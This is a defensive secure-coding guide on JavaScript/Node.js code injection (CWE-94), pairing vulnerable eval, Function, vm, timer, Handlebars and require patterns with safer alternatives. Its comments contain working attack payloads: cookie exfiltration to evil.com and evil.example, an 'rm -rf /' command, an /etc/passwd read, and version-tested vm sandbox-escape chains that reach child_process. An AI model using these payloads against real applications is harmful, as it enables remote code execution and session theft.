Skip to content

CWE-94: Improper Control of Generation of Code ('Code Injection') - JavaScript/Node.js

Overview

Code injection in JavaScript/Node.js occurs when untrusted input is passed to code execution functions like eval(), Function(), browser setTimeout()/setInterval() with strings, vm.runInContext(), or unsafe template/evaluator APIs. The injected code runs with the privileges of the process that compiled it: in Node.js that is the file system, environment variables, any module the process can load, and your own application logic. In a browser it is the DOM, the user's stored data, and any action the authenticated user can take.

Primary Defence: Never use eval() or the Function() constructor with user input. Replace dynamic code with safe alternatives such as JSON.parse() for data, declarative configuration, operation allowlists, AST-validated expression interpreters, or purpose-built parsers like math.js for formulas. If arbitrary user code is absolutely unavoidable, isolate it outside the main Node.js process with strong operating-system or container boundaries, no ambient secrets, no filesystem or network access, strict resource limits, and short timeouts. Do not rely on Node's vm module or discontinued sandbox packages as the security boundary for adversarial code.

Common Vulnerable Patterns

eval() with User Input

// VULNERABLE - Direct eval of user input
function calculate(expression) {
    const result = eval(expression);  // NEVER DO THIS
    return result;
}

// User input: "require('child_process').exec('rm -rf /')"
// In Node.js: Executes system commands!
// In browser: "document.location='http://evil.com?cookie='+document.cookie"
// Steals cookies!

Why this is vulnerable: eval() executes any JavaScript. Attacker can call functions, access globals, require modules (Node.js).

Function Constructor with User Input

// VULNERABLE - Function constructor creates executable code
function createValidator(userCode) {
    const fn = new Function('input', userCode);  // DANGEROUS
    return fn;
}

// A bare require() does NOT work here - see below. This does:
// User input: "return this.constructor.constructor('return process')()
//              .getBuiltinModule('fs').readFileSync('/etc/passwd', 'utf8')"
// Reads sensitive file in Node.js!

Why this is vulnerable: The Function() constructor compiles and executes code, so the attack surface is the same as eval()'s - but the payload is not, and getting that wrong is how the finding gets argued away. A Function body runs in global scope, not the caller's, and require is a module-local binding: measured on Node 24.3.0, new Function('return typeof require')() is undefined and the usual return require('fs')... payload throws ReferenceError: require is not defined. It reaches the same place by walking out through the constructor chain instead. CWE-95's JavaScript page has the full version, including which payload applies on which Node.

Browser setTimeout/setInterval with String

// VULNERABLE in browsers - string timers execute as code
function scheduleTask(userTask) {
    window.setTimeout(userTask, 1000);  // If userTask is string - DANGEROUS
}

// User input (string): "fetch('https://evil.example/?c='+document.cookie)"
// Executes in page context after 1 second!

// Also vulnerable
setInterval("userControlledCode", 5000);  // DANGEROUS

Why this is vulnerable: Browser timer APIs accept a string of code and compile it after the delay, which carries the same security risk as eval(). Modern Node.js timer APIs require a function callback and throw if the callback is not a function, but cross-environment code and browser code should still explicitly reject string callbacks.

vm.runInContext Without Sandboxing

const vm = require('vm');

// VULNERABLE - vm without proper sandboxing
function executeUserCode(code) {
    const context = { result: null };
    vm.runInContext(code, vm.createContext(context));  // DANGEROUS
    return context.result;
}

// User input: "this.constructor.constructor('return process')()
//              .getBuiltinModule('child_process').execSync('whoami').toString()"
// Escapes sandbox and executes system command!
//
// The older form ends .mainModule.require('child_process') instead. Prefer
// the one above: process.mainModule is only set when the entry point is a
// CommonJS file, so the older payload is the fragile one - see below.

Why this is vulnerable: A default vm context is not a security boundary. Objects handed into it carry prototypes from the calling realm, so this.constructor.constructor climbs back out to the parent's Function and from there to process.

Which module-loading step follows depends on how the host process was started, and every route gets there in the end. Measured on Node 24.3.0 against the function above: getBuiltinModule executed the command whether the host was run as node app.js, node -e or from stdin, while mainModule.require worked only in the first - process.mainModule is undefined for the other two, and under ES modules, and the payload dies on a TypeError. getBuiltinModule needs Node 22.3.0 or 20.16.0; mainModule.require covers older runtimes but only under CommonJS - process.mainModule is set by the CJS loader, so it is undefined under ESM on every version, Node 18 included. Do not read a TypeError from the older payload as evidence the sandbox held.

Template Literal Injection

// VULNERABLE - Template literal with user input in evaluation context
function generateCode(userInput) {
    const template = `
        function process(data) {
            return data.${userInput};
        }
    `;
    return eval(template);  // DOUBLE VULNERABLE
}

// User input: "constructor.constructor('return process')().env"
// Accesses environment variables!

Why this is vulnerable: User input in template + eval = code injection. Can access object prototypes.

Compiling a User-Supplied Handlebars Template

const Handlebars = require('handlebars');
const { engine } = require('express-handlebars');

app.engine('handlebars', engine());

// VULNERABLE - the template SOURCE comes from the request, not just the data
app.post('/preview', (req, res) => {
    const template = Handlebars.compile(req.body.templateSource);
    res.send(template({ user: req.user }));
});

Why this is vulnerable: Handlebars.compile() is a compiler, not an interpolator. It turns the template text into JavaScript source and builds a function from it, so a user who controls the template text controls what is compiled and run inside your process - the same relationship eval() has to its argument. That is the sink; a template that only interpolates trusted-source markup around user data is not this pattern.

The security history here is worth knowing because it decides how you rate the finding. Handlebars has repeatedly shipped fixes for template-source escapes (CVE-2019-19919, CVE-2021-23369, CVE-2021-23383, among others), each one a way to break out of the generated function into arbitrary JavaScript. A current version has no published escape, which is not the same as being a sandbox - Handlebars has never claimed to be one, and the next escape is a version bump away. Treat compiling untrusted template source as code execution regardless of version.

What is not a code-injection sink, despite appearing in a lot of older guidance: {{lookup this userInput}} with an attacker-controlled key. Since Handlebars 4.6 prototype properties and methods are blocked by default (allowedProtoProperties / allowedProtoMethods are empty), so constructor resolves to nothing and the expression renders as an empty string. lookup also takes a single property name, so a dotted chain like constructor.constructor(...) is one missing property, not a traversal. If a scan flags that shape, verify it before treating it as an injection path - and if you have set allowProtoPropertiesByDefault: true, that is the finding.

Dynamic require() with User Input

// VULNERABLE - User-controlled module loading
function loadPlugin(pluginName) {
    const plugin = require(pluginName);  // DANGEROUS
    return plugin;
}

// User input: "child_process"
// Loads child_process module, can execute commands

// Also vulnerable with paths
const userPath = req.query.module;  // "../../../malicious"
const mod = require(userPath);  // Path traversal + code execution

Why this is vulnerable: Allows loading arbitrary modules. Attacker can load child_process, fs, custom malicious modules.

Secure Patterns

Math Expression Parser (math.js)

const { create, all } = require('mathjs');

// SECURE - a formula parser, with its own parser entry points disabled.
// The disabling is the load-bearing half: the bare `math.evaluate` export
// leaves evaluate, parse, createUnit, simplify, derivative and resolve
// callable from inside the expression being evaluated.
const math = create(all);
const limitedEvaluate = math.evaluate;

math.import({
    import: () => { throw new Error('Function import is disabled'); },
    createUnit: () => { throw new Error('Function createUnit is disabled'); },
    reviver: () => { throw new Error('Function reviver is disabled'); },
    evaluate: () => { throw new Error('Function evaluate is disabled'); },
    parse: () => { throw new Error('Function parse is disabled'); },
    simplify: () => { throw new Error('Function simplify is disabled'); },
    derivative: () => { throw new Error('Function derivative is disabled'); },
    resolve: () => { throw new Error('Function resolve is disabled'); },
}, { override: true });

function safeCalculate(expression) {
    if (typeof expression !== 'string' || expression.length > 200) {
        throw new Error('Invalid mathematical expression');
    }

    try {
        // The saved evaluator, not the raw export
        return limitedEvaluate(expression);
    } catch (error) {
        throw new Error('Invalid mathematical expression');
    }
}

// Measured on mathjs 15.2.0:
// safeCalculate("2 + 2 * 3")            → 8
// safeCalculate("sqrt(16) + pow(2, 3)") → 12
// safeCalculate("require('fs')")        → Undefined function require
// safeCalculate("evaluate('2+2')")      → Function evaluate is disabled
// safeCalculate("createUnit('foo')")    → Function createUnit is disabled
//
// Without the math.import block, the last two return 4 and a new unit
// rather than throwing - the parser functions are in scope by default.

Why this works: math.js parses its own expression language rather than passing input to JavaScript eval() or the Function() constructor, so require above is not blocked by a filter - it is a name the formula language has never heard of, and nothing reaches a JavaScript compiler at any point. That is what removes the code-injection sink.

It is still an arbitrary-expression evaluator, so the math.import block is part of the fix rather than an optional extra. Measured on mathjs 15.2.0, the bare require('mathjs') export leaves evaluate and parse callable from inside an expression - letting it re-enter the parser - along with createUnit to extend the language and simplify, derivative and resolve as further entry points into symbolic evaluation. (import is not in the default parser scope on 15.x, but it is in mathjs's own documented recipe and the scope contents have moved between major versions, so keep it in the list.) Beyond that: keep math.js updated, and apply expression length, complexity, CPU and memory limits. For server-side use, consider running expression evaluation in a worker process that can be killed on timeout.

The fuller treatment, including how to render a result safely in React and what to check before adopting an expression parser, is on CWE-95's JavaScript page.

JSON for Configuration (Not Code)

// SECURE - Use JSON configuration instead of executable code
function applyDiscount(price, ruleConfig) {
    const rule = JSON.parse(ruleConfig);

    // Declarative configuration
    switch (rule.type) {
        case 'percentage':
            return price * (1 - rule.value / 100);
        case 'fixed':
            return price - rule.value;
        case 'bulk':
            return price >= rule.threshold ? price * (1 - rule.discount) : price;
        default:
            throw new Error('Unknown rule type');
    }
}

// Safe configuration (JSON data, not code)
const config = '{"type": "percentage", "value": 10}';
const discounted = applyDiscount(100, config);  // 90

// No code injection possible - only data

Why this works: Using JSON for configuration instead of executable code removes the code-execution sink from this path. JSON is a data-only format - objects, arrays, strings, numbers, booleans and null, with no functions, method calls or executable statements - so JSON.parse() can only hand back data structures. The business logic (switch statement, calculations) lives in your trusted JavaScript code, while user input supplies data values: an attacker who controls ruleConfig can set rule types, thresholds and values, and nothing else. Use this pattern for plugins, pricing rules, workflows, and any feature where users customize behavior through configuration rather than code.

setTimeout with Function Reference

// SECURE - Pass function reference, not string
function scheduleTask(callback, delay) {
    if (typeof callback !== 'function') {
        throw new Error('Callback must be a function');
    }
    setTimeout(callback, delay);  // Safe - function reference
}

// Usage
scheduleTask(() => console.log('Task executed'), 1000);

// Blocked: scheduleTask("eval('malicious')", 1000)  // Throws error

Why this works: Passing function references to setTimeout instead of strings prevents code injection because the function is already compiled and scoped: the engine invokes that specific function object, so there is no parsing or evaluation step for attacker-controlled code to enter. The typeof callback !== 'function' check rejects the string form, setTimeout("code", delay), which would parse and execute its argument as JavaScript. This pattern applies to all timer/callback APIs: use function references or arrow functions, never strings. If you must accept user-defined behavior, prefer JSON-based configuration, a DSL, or a purpose-built parser such as math.js for mathematical expressions.

LAST RESORT: Isolate Untrusted Code Out of Process

const {spawn} = require('child_process');

// LAST RESORT - send work to a pre-built isolated runner, not eval/vm
function runIsolatedJob(jobConfig, timeout = 1000) {
    const child = spawn('/usr/local/bin/isolated-js-runner', [], {
        stdio: ['pipe', 'pipe', 'pipe'],
        shell: false,
        env: {}, // do not pass application secrets
    });

    const timer = setTimeout(() => {
        child.kill('SIGKILL');
    }, timeout);

    child.stdin.end(JSON.stringify(jobConfig));

    return new Promise((resolve, reject) => {
        let stdout = '';
        let stderr = '';

        child.stdout.on('data', chunk => stdout += chunk);
        child.stderr.on('data', chunk => stderr += chunk);

        child.on('close', code => {
            clearTimeout(timer);
            if (code !== 0) {
                reject(new Error(`isolated runner failed: ${stderr}`));
                return;
            }
            resolve(JSON.parse(stdout));
        });
    });
}

// jobConfig should be declarative data or a constrained DSL, not raw JavaScript.

Why this works: The safest fix is still to avoid executing user-provided code. When the product genuinely needs user-defined logic, move execution outside the main application process and give that worker a minimal privilege set. The runner should execute in a restricted container, microVM, locked-down service account, or similarly isolated environment with no application secrets, no unnecessary filesystem access, no network access unless explicitly required, CPU and memory limits, and short timeouts. The Node.js application communicates with the runner using declarative data over stdin/stdout and does not expose require, process, or application objects to the untrusted logic. Treat this as a last resort, not a routine replacement for eval().

Trusted Template with Auto-Escaped Data

const Handlebars = require('handlebars');

// SECURE - Handlebars with safe helpers only
Handlebars.registerHelper('safe', function(value) {
    // Only allow specific safe operations
    return Handlebars.escapeExpression(value);
});

const templateStr = 'Hello {{name}}!';

function renderTemplate(data) {
    const template = Handlebars.compile(templateStr);
    // Auto-escapes by default, no code execution
    return template(data);
}

// Usage
const html = renderTemplate({name: 'Alice'});  // "Hello Alice!"

// User provides data, not template source.

Why this works: Handlebars auto-escapes interpolated values by default, so user data passed as name is rendered as text rather than HTML. The important boundary is that the template source is trusted and user input is only data. Do not let untrusted users submit arbitrary Handlebars templates without a separate sandboxing and review model: templates are executable template logic, can consume resources, and may expose helpers or object properties you did not intend. Register only necessary helpers, avoid SafeString on untrusted input, and keep prototype/property access restrictions enabled.

Module Allowlist for Plugins

// SECURE - Allowlist allowed modules
const ALLOWED_MODULES = new Set([
    'lodash',
    'moment',
    'axios'
]);

function loadModule(moduleName) {
    if (!ALLOWED_MODULES.has(moduleName)) {
        throw new Error(`Module "${moduleName}" not allowed`);
    }

    return require(moduleName);
}

// Safe: loadModule('lodash')  // OK
// Blocked: loadModule('child_process')  // Error thrown
// Blocked: loadModule('fs')  // Error thrown

Why this works: Allowlisting modules prevents code injection via dynamic require() calls. When users can control which modules are loaded (e.g., plugin systems, configurable imports), an attacker could load dangerous built-ins (child_process, fs, vm) or malicious npm packages to execute code inside the process. Checking moduleName against a Set of pre-approved, safe modules before calling require() means only trusted, reviewed libraries are reachable. The allowlist should be small, well-audited, and stored server-side (never trust client input for module names). For stronger isolation, load plugins in separate processes or containers. Combine with package integrity checks (lock files, SRI) to prevent supply-chain attacks where approved modules are compromised.

Expression Validator with Allowlist

const acorn = require('acorn');

// SECURE - Parse and validate AST
function validateExpression(expr) {
    // acorn.parse() over the whole string, NOT parseExpressionAt() - see below
    let program;
    try {
        program = acorn.parse(expr, {ecmaVersion: 2022});
    } catch (error) {
        throw new Error('Invalid expression: ' + error.message);
    }

    // The input must be one expression and nothing else
    if (program.body.length !== 1 || program.body[0].type !== 'ExpressionStatement') {
        throw new Error('Input must be a single expression');
    }

    // Allowlist allowed node types
    const ALLOWED_TYPES = new Set([
        'Literal', 'BinaryExpression', 'UnaryExpression',
        'LogicalExpression', 'ArrayExpression', 'Identifier'
    ]);

    // The node type is not the constraint: BinaryExpression also covers
    // `in`, `instanceof`, `<<`, `&`, `|`, `^` and `**`, and UnaryExpression
    // covers `typeof`, `void` and `delete`. Name the operators too.
    const ALLOWED_BINARY = new Set(['+', '-', '*', '/', '%', '===', '!==', '<', '<=', '>', '>=']);
    const ALLOWED_UNARY  = new Set(['-', '+', '!']);

    function checkNode(node) {
        if (!ALLOWED_TYPES.has(node.type)) {
            throw new Error(`Forbidden node type: ${node.type}`);
        }
        if (node.type === 'BinaryExpression' && !ALLOWED_BINARY.has(node.operator)) {
            throw new Error(`Forbidden operator: ${node.operator}`);
        }
        if (node.type === 'UnaryExpression' && !ALLOWED_UNARY.has(node.operator)) {
            throw new Error(`Forbidden operator: ${node.operator}`);
        }

        // Recursively check child nodes
        for (const key in node) {
            const value = node[key];
            if (value && typeof value === 'object') {
                if (Array.isArray(value)) {
                    value.forEach(checkNode);
                } else if (value.type) {
                    checkNode(value);
                }
            }
        }
    }

    checkNode(program.body[0].expression);
    return true;
}

// Usage
validateExpression("10 + 5 * 2");  // OK
// validateExpression("require('fs')")  // Error: Forbidden node type: CallExpression
// validateExpression("1; require('fs')")  // Error: Input must be a single expression
// validateExpression("a instanceof b")   // Error: Forbidden operator: instanceof

Why this works: AST (Abstract Syntax Tree) validation parses user input into a syntax tree and checks it against an allowlist of safe node types before execution. The acorn parser converts the expression into structured nodes (Literal, BinaryExpression, etc.) without executing it. By walking the AST and rejecting the node types that can reach code (CallExpression for function calls, MemberExpression for property access, ImportExpression for imports), you rule out require(), eval() and process before anything is evaluated. This is more robust than regex-based input validation, which attackers can bypass with encoding tricks.

Allowlist the operators as well as the node types. ESTree's BinaryExpression is not a synonym for arithmetic - it also covers in, instanceof, the shifts, the bitwise operators and **, and UnaryExpression covers typeof, void and delete. A validator naming only the node types therefore admits all of those while its documentation claims to permit "literals, arithmetic and arrays". None of them is an escape on its own here, because calls and member access are still rejected, so this is a narrower problem than the trailing-input one below - but it is the same mistake in miniature, a check whose stated scope is tighter than its actual one, and it is what turns into an escape when someone later relaxes MemberExpression or adds a helper function to the allowlist. Pin the operator set to what the feature needs. Use AST validation for calculators, query builders, or any feature where users provide expressions; never eval() unchecked strings.

Validate the whole string, not the first expression in it. The obvious call here is acorn.parseExpressionAt(expr, 0, ...), and it is the one thing that breaks this pattern. It parses a single expression starting at the given offset and returns as soon as that expression ends, silently ignoring everything after it - so validateExpression("1; require('child_process').execSync('whoami')") walks a lone Literal, finds nothing forbidden, and returns true. A caller that trusts that boolean and then evaluates the string it validated runs the second statement. acorn.parse() parses the input as a complete program, and the body.length !== 1 check rejects anything that is more than one expression. Whichever you use, evaluate the AST the validator inspected, never re-parse or re-evaluate the original text.

Content Security Policy (Browser)

// SECURE - CSP headers prevent inline script execution
const helmet = require('helmet');
const express = require('express');

const app = express();

// Set strict CSP
app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],  // No 'unsafe-eval', no 'unsafe-inline'
        objectSrc: ["'none'"],
        baseUri: ["'self'"],
        upgradeInsecureRequests: []
    }
}));

// Even if code injection vulnerability exists, CSP blocks execution

Why this works: Content Security Policy (CSP) provides defense-in-depth: with scriptSrc: ["'self'"] and no 'unsafe-eval', the browser refuses to run eval(), Function(), inline <script> tags and inline event handlers, so an injected string that reaches the page has nothing to compile it. CSP is a mitigation layer, not a fix - combine it with proper input validation and output encoding. The helmet middleware sets CSP headers on all responses. CSP does not apply server-side, so a Node.js process needs other controls (out-of-process isolation, input validation). Use strict CSP ('self', no 'unsafe-eval', no 'unsafe-inline') for all web apps; monitor report-uri to detect violations and refine the policy.

Key Security Functions

Safe Expression Evaluator

const acorn = require('acorn');

function safeEval(expr, context = {}) {
    // Parse the whole input as a program, so trailing statements cannot ride along
    const program = acorn.parse(expr, {ecmaVersion: 2022});
    if (program.body.length !== 1 || program.body[0].type !== 'ExpressionStatement') {
        throw new Error('Input must be a single expression');
    }
    const ast = program.body[0].expression;

    function evaluate(node) {
        if (node.type === 'Literal') {
            return node.value;
        } else if (node.type === 'Identifier') {
            // hasOwn, not `in` - `in` matches inherited names, so "constructor"
            // and "toString" would resolve to Object.prototype members
            if (!Object.hasOwn(context, node.name)) {
                throw new Error(`Undefined variable: ${node.name}`);
            }
            return context[node.name];
        } else if (node.type === 'BinaryExpression') {
            const left = evaluate(node.left);
            const right = evaluate(node.right);

            switch (node.operator) {
                case '+': return left + right;
                case '-': return left - right;
                case '*': return left * right;
                case '/': return left / right;
                case '%': return left % right;
                default: throw new Error(`Unsupported operator: ${node.operator}`);
            }
        } else if (node.type === 'UnaryExpression') {
            const arg = evaluate(node.argument);
            switch (node.operator) {
                case '-': return -arg;
                case '+': return +arg;
                default: throw new Error(`Unsupported operator: ${node.operator}`);
            }
        } else {
            throw new Error(`Forbidden node type: ${node.type}`);
        }
    }

    return evaluate(ast);
}

// Usage
const result = safeEval("x + y * 2", {x: 10, y: 5});  // 20
// safeEval("require('fs')")   // Error: Forbidden node type: CallExpression
// safeEval("constructor")     // Error: Undefined variable: constructor
// safeEval("1; sideEffect()") // Error: Input must be a single expression

Module Loading Validator

const path = require('path');

function validateModulePath(modulePath, allowedPaths) {
    // Resolve to absolute path
    const resolved = path.resolve(modulePath);

    // Check if within allowed paths
    const isAllowed = allowedPaths.some(allowedPath => {
        const resolvedAllowed = path.resolve(allowedPath);
        return resolved === resolvedAllowed || resolved.startsWith(resolvedAllowed + path.sep);
    });

    if (!isAllowed) {
        throw new Error('Module path not allowed');
    }

    return resolved;
}

// Usage
const PLUGIN_DIR = './plugins';
const modulePath = validateModulePath(userInput, [PLUGIN_DIR]);
const plugin = require(modulePath);

Timeout Wrapper for Isolated Workers

const {spawn} = require('child_process');

function runWorkerWithTimeout(jobConfig, timeout = 1000) {
    return new Promise((resolve, reject) => {
        const child = spawn('/usr/local/bin/isolated-js-runner', [], {
            stdio: ['pipe', 'pipe', 'pipe'],
            shell: false,
            env: {}
        });

        const timer = setTimeout(() => {
            child.kill('SIGKILL');
            reject(new Error('Worker timed out'));
        }, timeout);

        let stdout = '';
        let stderr = '';

        child.stdout.on('data', chunk => stdout += chunk);
        child.stderr.on('data', chunk => stderr += chunk);
        child.on('error', error => {
            clearTimeout(timer);
            reject(error);
        });
        child.on('close', code => {
            clearTimeout(timer);
            if (code !== 0) {
                reject(new Error(stderr || `Worker exited with ${code}`));
                return;
            }
            resolve(JSON.parse(stdout));
        });

        child.stdin.end(JSON.stringify(jobConfig));
    });
}

runWorkerWithTimeout({operation: 'calculate', expression: '2 + 2'}, 1000)
    .then(result => console.log(result))
    .catch(error => console.error('Execution error:', error.message));

Analysis Steps

Locate the eval/Function Call

// Line 28 in src/calculator.js
const result = eval(req.query.expression);  // VULNERABLE

Trace Input Source

  • HTTP query parameter? req.query.expression
  • POST body? req.body.code
  • WebSocket message? ws.on('message', code => eval(code))
  • Database? User-stored formulas

Assess Execution Context

  • Node.js backend? (File system, process, network access)
  • Browser frontend? (DOM, cookies, localStorage access)
  • What privileges? (Database credentials in env vars?)

Determine Safe Alternative

  • Mathematical expressions → Use math.js, with import, createUnit, evaluate, parse, simplify, derivative and resolve disabled. Not expr-eval: unreleased since 2019 and carrying two open high-severity advisories with no fix - see CWE-95
  • Configuration → Use JSON
  • Business rules → Declarative config or rule engine
  • User scripts → Avoid if possible; otherwise run in a separate locked-down process/container with strict resource limits

Verification

After remediation:

  • No eval(), Function(), setTimeout(string) with user input
  • No vm.runInContext() or node:vm use as a security boundary for untrusted code
  • No dynamic require() without allowlist
  • Template source is never taken from a request; only template data is - this is the code-injection control
  • Templates use auto-escaping (Handlebars, EJS with <%=) - an XSS control, carried here because the same code is usually in scope; it does not constrain a user-supplied template
  • CSP headers block unsafe-eval (browser)
  • Scanner re-scan shows finding resolved
  • Tested with code injection payloads (blocked)

Common Pitfalls

  • Indirect eval bypassing a text-based ban: A lint rule or code-review grep for the literal token eval( misses indirect eval calls such as (0, eval)(code) or globalThis['ev' + 'al'](code) - these still execute in the global scope exactly like direct eval(), but don't match a simple string search for the banned function name.
  • Object.freeze() on a vm.createContext() sandbox object: Freezing the sandbox object's own properties does not stop the classic prototype-chain escape (this.constructor.constructor('return process')()) - that chain lives on Function.prototype, not on the frozen sandbox object, so vm remains unsuitable as a security boundary for adversarial code regardless of what's frozen on the context object.
  • Fixing only the environment where the bug was found: Removing eval()/Function() from a shared, isomorphic utility (code bundled for both a Node.js API route and a browser page) in the code path that was flagged, while an identical or near-identical function still runs in the other bundle, leaves the finding open on whichever side wasn't re-tested.

Additional Resources